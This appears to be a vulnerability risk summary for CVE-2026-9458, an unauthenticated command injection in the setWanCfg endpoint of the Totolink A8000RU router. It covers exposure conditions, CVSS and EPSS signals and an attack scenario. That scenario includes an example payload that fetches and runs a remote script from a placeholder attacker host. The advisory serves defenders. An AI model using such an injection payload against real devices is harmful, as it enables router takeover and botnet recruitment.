Totolink A8000RU CVE-2026-9458

Exploitation requires network reachability to the device's Web Management Interface (the listener for /cgi-bin/cstecgi.cgi) and that the device be running the specific vulnerable firmware A8000RU 7.1cu.643_b20200521. No authentication, user interaction, or non-default configuration is required per CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N - the setWanCfg endpoint is exploitable in the default Web Management Interface configuration. Practical limits: the management interface is typically LAN-only out of the box, so internet-wide exploitation depends on the operator having enabled WAN-side remote management; LAN-only deployments restrict the attacker population to insiders, guest-network pivots, or attackers who have already breached perimeter.

Risk signals are largely aligned in the 'elevated' direction: CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N rates this as network-reachable, low-complexity, unauthenticated, with high confidentiality, integrity, and availability impact. POC code is publicly hosted on GitHub (Litengzheng/vuldb_new2), increasing the chance of opportunistic scanning. However, EPSS sits at only 0.89% (76th percentile) and the device is not in CISA KEV, suggesting exploitation has not yet been observed at scale - consistent with the niche installed base of A8000RU devices versus broad-target gear like TP-Link or D-Link consumer lines. The single vulnerable firmware version listed (7.1cu.643_b20200521) further narrows realistic blast radius, though admins exposing the web management interface to the WAN side face immediate, low-effort compromise risk.

An attacker scanning the internet for Totolink devices with exposed web management ports sends an HTTP POST request to /cgi-bin/cstecgi.cgi targeting the setWanCfg function with a malicious 'enabled' parameter containing shell metacharacters (e.g., ';wget http://attacker/x.sh|sh'). Because exploit code is publicly available on GitHub, the attack requires no original research and can be folded into mass-scanning toolkits. Successful exploitation drops the attacker into a shell on the router - enabling DNS hijacking, traffic interception, or recruitment into a router-based botnet.